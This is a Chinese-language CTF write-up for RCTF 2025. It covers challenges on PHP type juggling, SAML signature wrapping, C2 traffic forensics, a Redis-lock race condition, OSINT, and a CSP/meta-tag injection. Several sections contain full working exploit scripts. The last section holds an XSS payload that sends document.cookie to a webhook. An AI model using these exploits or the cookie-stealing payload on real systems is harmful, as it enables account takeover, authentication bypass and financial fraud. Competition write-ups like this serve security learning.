RCTF 2025 wp
photographer
flag 在 public/superadmin.php
if (Auth::check() && Auth::type() < $user_types['admin']) {
echo getenv('FLAG') ?: 'RCTF{test_flag}';
}
$user_types['admin'] 是 0,所以需要让 Auth::type() 小于 0。
Auth::type() 取自 session 里的 user 信息,而用户信息是在 User::findById 里查出来的:
public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}
这里用了leftJoin连表查询photo。但是user表和photo表都有 type。其中user.type 是权限等级,photo.type 是文件的 MIME
framework/DB.php 这里可以看到使用SQLite 的fetchArray并且模式为SQLITE3_ASSOC,也就是返回以列名索引的数组
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
$rows[] = $row;
}
所以后面的type将覆盖前面的,也就是 photo.type 会覆盖掉 user.type
上传图片时,Photo::create 用的type 是直接$_FILES里拿的:
$file = [
'type' => $files['type'][$i],
// ...
];
type可控
所以思路就是,注册登录,上传个图片,抓包把 Content-Type 改成 -1,并设置为背景。此时user.type 就变成了字符串 "-1",PHP 弱类型比较 "-1" < 0 成立
import requests
import re
BASE_URL = '<http://1.95.160.41:26002>'
EMAIL = '[email protected]'
PASSWORD = '123456'
s = requests.Session()
r = s.get(f'{BASE_URL}/register')
csrf_token = re.search(r'name="csrf_token" value="([a-f0-9]+)"', r.text).group(1)
s.post(f'{BASE_URL}/api/register', data={
'username': 'hacker',
'email': EMAIL,
'password': PASSWORD,
'confirm_password': PASSWORD,
'csrf_token': csrf_token
})
# 随便一张图片
img_content = b'\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x08\\x06\\x00\\x00\\x00\\x1f\\x15\\xc4\\x89\\x00\\x00\\x00\\nIDATx\\x9cc\\x00\\x01\\x00\\x00\\x05\\x00\\x01\\r\\n-\\xb4\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82'
# Content-Type 设置为 -1
files = {
'photos[]': ('1.png', img_content, '-1')
}
r = s.post(f'{BASE_URL}/api/photos/upload', files=files)
photo_id = r.json()['photos'][0]['id']
r = s.get(f'{BASE_URL}/settings')
csrf_token = re.search(r'name="csrf_token" value="([a-f0-9]+)"', r.text).group(1)
s.post(f'{BASE_URL}/api/user/background', data={
'photo_id': photo_id,
'csrf_token': csrf_token
})
r = s.get(f'{BASE_URL}/superadmin.php')
print(r.text)
auth
题目模拟了一个 SSO 认证环境,包含 Node.js 写的 IdP 和 Python 写的 SP。Flag在SP中,校验 SAML 身份必须是 [email protected]
IdP 的注册逻辑 idp-portal/src/controllers/authController.js:
if (parseInt(type) === 0) {
if (!invitationCode || invitationCode !== config.getInviteCode()) {
// ... error
}
}
req.session.userId = await User.create({ ..., type, ... });
这里用了 parseInt(type) === 0 来判断是否是管理员注册。parseInt(false) -> NaN,NaN === 0 为 false,因此发送{"type": false}可以绕过邀请码检查。MySQL 的 TINYINT 字段将 false 存储为 0,从而注册为 Admin
不过注册成功后 IdP 会直接设置 Session req.session.userType = type (false)。 但 middleware/auth.js 检查的是 req.session.userType !== 0。所以需要重新登录一次
然后发起 SSO,得到合法的 SAMLResponse
在 sp-flag/saml2/validator.py:
assertion_signatures = self._find_assertion_signatures()
if not assertion_signatures:
return False
for sig_node in assertion_signatures:
if not self._verify_signature(sig_node):
return False
验证器确保有签名并且合法,但是不校验无签名的Assertion。 解析器 sp-flag/saml2/parser.py 只取第一个进行解析
def get_nameid(self):
if self.document is None:
return None
assertions = self.document.xpath(
'//saml:Assertion',
namespaces=self.NAMESPACES
)
if not assertions:
return None
assertion = assertions[0] # 直接取第一个
nameid_nodes = assertion.xpath(
'.//saml:NameID',
namespaces=self.NAMESPACES
)
if nameid_nodes:
return nameid_nodes[0].text
return None
这便存在 XML Signature Wrapping 漏洞
在合法Assertion前加入伪造Assertion即可
import requests
import base64
import urllib.parse
from lxml import etree
import copy
import re
import random
import string
IDP_HOST = "<http://auth.rctf.rois.team>"
SP_HOST = "<http://auth-flag.rctf.rois.team:26000>"
def solve():
s = requests.Session()
# 注册登录
rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
username = f"hacker_{rand_suffix}"
password = "password123"
email = f"hacker_{rand_suffix}@example.com"
print(username, password, email)
register_url = f"{IDP_HOST}/register"
reg_data = {
"username": username,
"email": email,
"password": password,
"confirmPassword": password,
"type": False, #
"displayName": "Hacker"
}
s.post(register_url, json=reg_data)
s.cookies.clear()
login_url = f"{IDP_HOST}/login"
s.post(login_url, data={"username": username, "password": password})
# 获取合法的 SAML Response
sso_init_url = f"{IDP_HOST}/saml/idp/Flag"
res = s.get(sso_init_url)
saml_response_b64 = re.search(r'name="SAMLResponse" value="([^"]+)"', res.text).group(1)
# XML Signature Wrapping
xml_content = base64.b64decode(saml_response_b64).decode('utf-8')
root = etree.fromstring(xml_content.encode('utf-8'))
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', 'ds': '<http://www.w3.org/2000/09/xmldsig#>'}
original_assertion = root.find('.//saml:Assertion', ns)
fake_assertion = copy.deepcopy(original_assertion)
fake_assertion.set('ID', f'_{urllib.parse.quote(username)}_fake')
nameid_node = fake_assertion.find('.//saml:NameID', ns)
nameid_node.text = '[email protected]'
signature_node = fake_assertion.find('.//ds:Signature', ns)
if signature_node is not None:
signature_node.getparent().remove(signature_node)
root.insert(1, fake_assertion)
evil_xml = etree.tostring(root, encoding='utf-8').decode('utf-8')
evil_saml_response = base64.b64encode(evil_xml.encode('utf-8')).decode('utf-8')
# 认证
sp_acs_url = f"{SP_HOST}/saml/acs"
sp_session = requests.Session()
res = sp_session.post(sp_acs_url, data={
"SAMLResponse": evil_saml_response,
"RelayState": "/admin"
}, allow_redirects=False)
redirect_url = res.headers.get('Location')
target_url = f"{SP_HOST}{redirect_url}" if redirect_url.startswith("/") else redirect_url
final_res = sp_session.get(target_url)
print(final_res.text)
if __name__ == "__main__":
solve()Asgard Fallen Down
chall1:
找到AES解密的key和iv
key = VdmEJO6SDkVWYkSQD4dPfLnvkmqRUCvrELipO14dfVs=
iv = EjureNfe2IA6jFEZEih84w==
GET /styles/theme.css 中 X-Cache-Data内容为命令回显,第一个回显解密出来是
{"outputChannel":"o-27kgboxah4l","result":"desktopeo5qi9p\\\\dell""timestamp":1763185539163}
说明命令为spawn whoami
chall2:10
观察规律发现心跳包是随机GET,每10秒一次
chall3:
继续解密X-Cache-Data回传的数据
其中
.png)
解密后找到硬件信息
{"outputChannel":"o-lbgp59stp4","result":"{\\n \\"ALLUSERSPROFILE\\": \\"C:\\\\\\\\ProgramData\\",\\n \\"APPDATA\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Roaming\\",\\n \\"CommonProgramFiles\\": \\"C:\\\\\\\\Program Files\\\\\\\\Common Files\\",\\n \\"CommonProgramFiles(x86)\\": \\"C:\\\\\\\\Program Files (x86)\\\\\\\\Common Files\\",\\n \\"CommonProgramW6432\\": \\"C:\\\\\\\\Program Files\\\\\\\\Common Files\\",\\n \\"COMPUTERNAME\\": \\"DESKTOP-EO5QI9P\\",\\n \\"ComSpec\\": \\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\",\\n \\"DriverData\\": \\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Drivers\\\\\\\\DriverData\\",\\n \\"HOMEDRIVE\\": \\"C:\\",\\n \\"HOMEPATH\\": \\"\\\\\\\\Users\\\\\\\\dell\\",\\n \\"LOCALAPPDATA\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\",\\n \\"LOGONSERVER\\": \\"\\\\\\\\\\\\\\\\DESKTOP-EO5QI9P\\",\\n \\"NUMBER_OF_PROCESSORS\\": \\"2\\",\\n \\"ORIGINAL_XDG_CURRENT_DESKTOP\\": \\"undefined\\",\\n \\"OS\\": \\"Windows_NT\\",\\n \\"Path\\": \\"C:\\\\\\\\Windows\\\\\\\\system32;C:\\\\\\\\Windows;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Wbem;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\OpenSSH\\\\\\\\;C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft\\\\\\\\WindowsApps;\\",\\n \\"PATHEXT\\": \\".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC\\",\\n \\"PROCESSOR_ARCHITECTURE\\": \\"AMD64\\",\\n \\"PROCESSOR_IDENTIFIER\\": \\"Intel64 Family 6 Model 191 Stepping 2, GenuineIntel\\",\\n \\"PROCESSOR_LEVEL\\": \\"6\\",\\n \\"PROCESSOR_REVISION\\": \\"bf02\\",\\n \\"ProgramData\\": \\"C:\\\\\\\\ProgramData\\",\\n \\"ProgramFiles\\": \\"C:\\\\\\\\Program Files\\",\\n \\"ProgramFiles(x86)\\": \\"C:\\\\\\\\Program Files (x86)\\",\\n \\"ProgramW6432\\": \\"C:\\\\\\\\Program Files\\",\\n \\"PSModulePath\\": \\"C:\\\\\\\\Program Files\\\\\\\\WindowsPowerShell\\\\\\\\Modules;C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\Modules\\",\\n \\"PUBLIC\\": \\"C:\\\\\\\\Users\\\\\\\\Public\\",\\n \\"SESSIONNAME\\": \\"Console\\",\\n \\"SystemDrive\\": \\"C:\\",\\n \\"SystemRoot\\": \\"C:\\\\\\\\Windows\\",\\n \\"TEMP\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\",\\n \\"TMP\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\",\\n \\"USERDOMAIN\\": \\"DESKTOP-EO5QI9P\\",\\n \\"USERDOMAIN_ROAMINGPROFILE\\": \\"DESKTOP-EO5QI9P\\",\\n \\"USERNAME\\": \\"dell\\",\\n \\"USERPROFILE\\": \\"C:\\\\\\\\Users\\\\\\\\dell\\",\\n \\"windir\\": \\"C:\\\\\\\\Windows\\"\\n}","timestamp":1763185574274}
Intel64 Family 6 Model 191 Stepping 2, GenuineIntel
cahll4:
观察 POST /contact 发现有chunkIndex=0字样,而且进行AES解密后有明显数据,于是追踪流并解析
.png)
得到的数据为base64,解码出来为一张图像
.jpg)
能看出是无影TscanPlus
UltimateFreeloader
观察Redis锁,发现买和退款的锁的key值不一样,可以打条件竞争
public Map<String, Object> createOrder(String userId, OrderRequestDTO orderRequest) {
Map<String, Object> result = new HashMap();
String lockKey = "order:user:" + userId;
String lockValue = this.redisLockUtil.generateLockValue();
//...
}
public Map<String, Object> refundOrder(String orderId, String userId) {
Map<String, Object> result = new HashMap();
String lockKey = "refund:order:" + orderId;
//...
}
exp
import requests
import threading
import time
import uuid
TARGET_URL = "<http://61.147.171.105:49947>"
PROD_LITTLE = "550e8400-e29b-41d4-a716-446655440001" # 5.50
PROD_SWEET = "550e8400-e29b-41d4-a716-446655440002" # 8.80
PROD_FISH = "550e8400-e29b-41d4-a716-446655440003" # 4.20
PROD_LARGE = "550e8400-e29b-41d4-a716-446655440004" # 10.00
s = requests.Session()
CURRENT_USER = {"username": "", "password": ""}
def register_and_login():
username = f"hacker_{uuid.uuid4().hex[:8]}"
password = "password123"
email = f"{username}@hack.com"
CURRENT_USER["username"] = username
CURRENT_USER["password"] = password
print(f"[*] 注册用户: {username}")
try:
res = s.post(f"{TARGET_URL}/api/user/register", json={
"username": username, "password": password, "email": email
})
if res.json().get("code") != 200:
print(f"[-] 注册失败: {res.text}")
exit()
res = s.post(f"{TARGET_URL}/api/user/login", json={
"username": username, "password": password
})
token = res.json()['data']['token']
s.headers.update({"Authorization": f"Bearer {token}"})
print("[+] token:", token)
user_id = res.json()['data']['user']['id']
return user_id
except Exception as e:
print(f"[-] 连接错误: {e}")
exit()
def get_coupon_id():
try:
res = s.get(f"{TARGET_URL}/api/coupon/available")
data = res.json().get('data')
if data:
return data[0]['id']
except:
pass
return None
def get_balance():
try:
res = s.get(f"{TARGET_URL}/api/user/info")
return float(res.json()['data']['balance'])
except:
return 0.0
def buy(product_id, coupon_id=None):
data = {
"productId": product_id,
"quantity": "1"
}
if coupon_id:
data["couponId"] = coupon_id
try:
res = s.post(f"{TARGET_URL}/api/order/create", json=data)
return res.json()
except:
return None
def refund(order_id):
try:
res = s.post(f"{TARGET_URL}/api/order/refund/{order_id}")
return res.json()
except:
return None
def get_my_orders():
try:
res = s.get(f"{TARGET_URL}/api/order/my")
return res.json().get('data', [])
except:
return []
def clean_up_pivot():
orders = get_my_orders()
if not orders: return
for order in orders:
if order['productId'] == PROD_LARGE and order['status'] == 'COMPLETED' and order.get('couponId'):
refund(order['id'])
def glitch_item(target_prod_id, target_name):
print(f"\\n>>> 尝试: {target_name}")
attempt_count = 0
while True:
attempt_count += 1
orders = get_my_orders()
has_target = False
target_order_id = None
for order in orders:
if order['productId'] == target_prod_id and order['status'] == 'COMPLETED':
has_target = True
target_order_id = order['id']
break
current_bal = get_balance()
if has_target and current_bal == 10.0:
print(f"[+] 成功!已拥有 {target_name} 且余额为 10.00")
if target_prod_id == PROD_LARGE:
if get_coupon_id():
print("[+] 优惠券未使用")
break
else:
refund(target_order_id)
clean_up_pivot()
continue
else:
break
if has_target and current_bal < 10.0:
refund(target_order_id)
clean_up_pivot()
continue
coupon_id = get_coupon_id()
if not coupon_id:
clean_up_pivot()
continue
res_buy = buy(PROD_LARGE, coupon_id)
if not res_buy or res_buy.get('code') != 200:
clean_up_pivot()
continue
pivot_order_id = res_buy['data']['order']['id']
def thread_refund():
refund(pivot_order_id)
def thread_buy_target():
buy(target_prod_id)
t1 = threading.Thread(target=thread_refund)
t2 = threading.Thread(target=thread_buy_target)
t1.start()
t2.start()
t1.join()
t2.join()
def main():
user_id = register_and_login()
target_list = [
(PROD_SWEET, "Sweet Potato (8.80)"),
(PROD_LITTLE, "Little Potato (5.50)"),
(PROD_FISH, "Fish Fish (4.20)"),
(PROD_LARGE, "Large Potato (10.00)")
]
for prod_id, name in target_list:
glitch_item(prod_id, name)
time.sleep(0.2)
bal = get_balance()
coupon = get_coupon_id()
orders = get_my_orders()
completed_count = sum(1 for o in orders if o['status'] == 'COMPLETED')
print(f"余额: {bal}")
print(f"优惠券: {'存在(未使用)' if coupon else '不存在(已使用)'}")
print(f"已购商品数: {completed_count}")
if bal == 10.0 and coupon:
res = s.get(f"{TARGET_URL}/api/flag/get")
print(res.text)
else:
print("[-] 失败")
print(f"Username: {CURRENT_USER['username']}")
print(f"Password: {CURRENT_USER['password']}")
if __name__ == "__main__":
main()
Speak Softly Love
Q3-4为队友解出
Q1:8ssDGBTssUI
DOSMid: The Godfather theme played on an 8086 computer
Q2:r178
svn log svn://svn.mateusz.fr/dosmid
...
r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line
if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
Q3:从个人网站:Mateusz Viste - 主页 --- Mateusz Viste - homepage 中找到音频 https://mateusz.viste.fr/mateusz.ogg
Q4:个人网站上有gopher链接:gopher://gopher.viste.fr/
lynx gopher://gopher.viste.fr/
找到bitcoin donate
Q4:16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
author
csp为队友思路
主要就是绕过xss-shield.js,没有csp
<meta name="author" content=<?php echo $pageAuthor; ?>>
header.php 中 author name 可以注入向 meta 标签中注入空格,可以添加任意属性。
尝试构造成 CSP 拦截 xss.shiled.js 。
注册用户时在 username 中写入 csp 内容拦截 xss:
username='script-src-elem <http://blog-app/assets/js/article.js>' http-equiv=Content-Security-Policy
单引号不会被 html 实体化 正好用来包裹 csp 内容。script-src-elem 属性不会影响 unsafe-inline,只需要设置 article.js 的 URL 即可。
随后用该账号登录发布的 article 不会有任何限制。使用 img onerror 外带:
<img src=x onerror="fetch('<http://webhook/?d=>' + encodeURI(document.cookie))">